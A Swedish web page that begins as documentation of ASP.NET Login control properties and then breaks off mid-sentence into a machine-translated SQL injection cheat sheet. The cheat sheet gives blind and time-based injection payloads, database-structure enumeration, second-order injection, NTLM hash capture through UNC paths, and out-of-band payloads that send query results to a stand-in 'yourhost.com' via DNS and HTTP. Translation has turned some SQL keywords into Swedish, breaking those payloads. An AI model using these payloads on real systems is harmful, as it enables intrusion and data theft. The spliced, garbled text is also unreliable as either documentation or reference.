Definierar åtgärden som kontrollen vidtar efter ett misslyckat inloggningsförsök. Två giltiga alternativ är Refresh och RedirectToLoginPage. Det första värdet gör att endast den aktuella sidan uppdateras, medan det andra orsakar en omdirigering till den konfigurerade inloggningssidan. Det andra alternativet är användbart om inloggningskontrollen används någon annanstans än på inloggningssidan

Synlig När Inloggad

Om inställt på false döljer kontrollen sig automatiskt om användaren redan är inloggad. Om satt till true (standard) visas inloggningselementet även om användaren är inloggad

Ange en "Kom ihåg mig"-tagg
DisplayRememberMe

Låter dig visa eller dölja kryssrutan Kom ihåg mig nästa gång. Som standard är den här egenskapen inställd på true

RememberMeSet

Bestämmer standardvärdet för kryssrutan Kom ihåg mig nästa gång. Som standard är den här egenskapen inställd på false, dvs. kryssrutan är inte markerad

Registreringssida
CreateUserUrl

Definierar en hyperlänk till en webbsida som låter dig skapa (registrera) en användare. Således används detta vanligtvis för att ge användaren åtkomst till den första registreringssidan. Vanligtvis visar detta kontrollen CreateUserWizard

CreateUserText
CreateUserIconUrl

URL till grafiken som visas med hyperlänkstexten CreateUserUrl

Hjälpsida
HelpPageUrl

URL för att omdirigera användaren till hjälpsidan

HelpPageText
HelpPageIconUrl

URL-adressen till ikonen som visas tillsammans med HelpPageUrl-hyperlänkstexten

Sidan för lösenordsåterställning
PasswordRecoveryUrl

Webbadressen för att omdirigera användaren till sidan för lösenordsåterställning. Denna sida används när användaren har glömt lösenordet. Vanligtvis visar den PasswordRecovery-kontrollen

PasswordRecoveryText
PasswordRecoveryIconUrl

URL:en till ikonen som visas tillsammans med hyperlänkstexten PasswordRecoveryUrl

Mallar och inloggningskontroll

Som du kan se gör alla dessa egenskaper inloggningskontrollen mycket anpassningsbar. Men som du med största sannolikhet har märkt är det omöjligt att definiera något uttryck för att kontrollera indatas giltighet. Naturligtvis är det möjligt att implementera validering på serversidan inom de händelseprocedurer som erbjuds av inloggningskontrollen. När du vill lägga till några element till den sammansatta inloggningskontrollen kan du inte göra det genom egenskaperna som presenteras ovan. Till exempel, vad händer om du behöver ett andra textfält för stark autentisering med ett andra lösenord eller anpassad lösenord, som vissa statliga webbplatser gör?

Som tur är, liksom andra kontroller som GridView, stöder Login-elementet mallar. Mallar låter dig anpassa innehållet i inloggningskontrollen utan några begränsningar. Du kan lägga till nya kontroller till den. Tillämpar en anpassad mall på inloggningskontrollen med LayoutMall-handtaget:

Logga in

Användarnamn:
Lösenord: @rd SELECT @rd AS rd in i TMP_SYS_TMP end;--

29. Söka efter databasstruktur i MySQL (M)
Exempel:
VÄLJ tabellnamn FRÅN informationsschema.tabeller WHERE tabellschema = "tabellnamn"
Skaffa anpassade tabeller

VÄLJ tabellnamn, kolumnnamn FRÅN informationsschema.kolumner WHERE tabellschema = "tabellnamn"
Få kolumnnamn

30. Söka efter databasstruktur i Oracle (O)
Exempel:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Skaffa anpassade tabeller

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABELL"
Få kolumnnamn

31. Blinda injektioner
I en kvalitetsapplikation kommer du inte att kunna se felmeddelanden. Du kommer inte att kunna använda UNION-operatören och felbaserade attacker. Du måste använda blind SQL-injektion för att extrahera data. Det finns två typer av blinda injektioner.
Vanlig blindinjektion: du kan inte se resultatet av förfrågningar på sidan, men du kan avgöra resultatet från svaret eller HTTP-status.
Helt blind injektion: Du kommer inte att se någon skillnad i uteffekt.
Vid normala blinda injektioner kan du använda IF- och WHERE-satser, vid helt blinda injektioner behöver du använda några väntefunktioner och jämföra svarstid. För att göra detta kan du använda WAIT FOR DELAY '0:0:10' i SQL Server, BENCHMARK() och sleep(10) i MySQL, pg_sleep(10) i PostgreSQL.
Exempel:
Det här exemplet är baserat på en verklig operation av blindinjektion på SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Baserat på de två sista frågorna vet vi exakt värdet på det första tecknet i ascii - det är 80. Det betyder att det första tecknet är "P". På så sätt kan vi ta reda på namnen på tabellerna och deras innehåll. Ett annat sätt är att läsa data bit för bit.

32. Helt blind injektion
Använd denna metod endast vid en verkligt blind injektion. Var försiktig med väntetider.
Syntax:
VÄNTA PÅ FÖRDRÖJNING "tid" (S)
Funktionen väntar helt enkelt på den angivna tiden utan att ladda processorn.
Exempel:
if (välj användare) = "sa" vänta på fördröjning "0:0:10"
ProductID =1;väntefördröjning "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";vänta fördröjning "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1")); vänta på fördröjning "0:0:10"--
Syntax:
BENCHMARK(hur många gånger, gör detta) (M)
Exempel:
OM FINNS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Vi kontrollerar närvaron av root-användaren.

IF (VÄLJ * FRÅN inloggning) BENCHMARK(1000000,MD5(1))
Kontrollera att det finns en tabell i MySQL
Syntax:
pg_sleep(sekunder) (P)
Sov i angivna sekunder.

sömn (sekunder) (M)
sova i tillgivna sekunder.

bms_pipe.receive_message (O)
sova i tillgivna sekunder.
Exempel:
(VÄLJ CASE NÄR (NVL(ASCII(SUBSTR((((INJECTION))),1,1)),0) = 100) DÅ dbms_pipe.receive_message(("xyz"),10) ANNAT dbms_pipe.receive_message(("xyz" ),1) SLUT FRÅN dubbel)
(INJEKTION) – din begäran.
Om villkoret är sant kommer svaret att vara 10 sekunder. Annars blir svaret 1 sekund.

33. Användbara MySQL-funktioner
Syntax:
MD5()
SHA1()
LÖSENORD()
KODA()
KOMPRIMERA()
ROW_COUNT()
SCHEMA()
VERSION()

34. Andra ordningens SQL-injektioner
Vanligtvis skulle du infoga en SQL-injektionsfråga i ett fält och förvänta dig att den inte filtreras bort.
Exempel:
Namn: " + (VÄLJ TOP 1 lösenord FRÅN användare) + "
E-post: [e-postskyddad]
Om applikationen använder fältnamnet för en lagrad procedur eller funktion, kan du använda detta för injektion.

35. Använda SQL Server för att extrahera NTLM-hashar
Denna attack hjälper dig att få Windows-användarlösenordet för målservern via SQL Server om det inte finns någon åtkomst utifrån. Vi kan tvinga SQL Server att ansluta till Windows via en UNC-sökväg och extrahera NTLM-sessionen med hjälp av specialverktyg som Cain & Abel.

Syntax:
UNC-sökväg: "\\DIN IPADRESS\C$\x.txt"
36. Andra exempel på injektioner
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJEKTION))+".dinvärd.com\\test.txt"; EXEC master..xp_dirtree @q
skapar en DNS-fråga till (INJECTION).yourhost.com

(INJEKTION) - din begäran.
MySQL:
?vulnerableParam=-99 ELLER (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Skapar en NBNS/DNS-förfrågan till yourhost.com
?vulnerableParam=-99 ELLER (VÄLJ ((INJEKTION)) I UTFIL "\\\\dinvärd.com\\share\\output.txt")
Skriver data till din fil
(INJEKTION) - din begäran.
Orakel:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FRÅN DUAL)
Sniffaren sparar resultaten
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FRÅN DUAL)
Resultaten kommer att sparas i HTTP-loggar
?vulnerableParam=(VÄLJ UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FRÅN DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FRÅN DUAL)
Du måste analysera DNS-begäran trafik till yourhost.com
(INJEKTION) - din begäran.

Detta material är en adaptiv översättning av artikeln SQL Injection Cheat Sheet.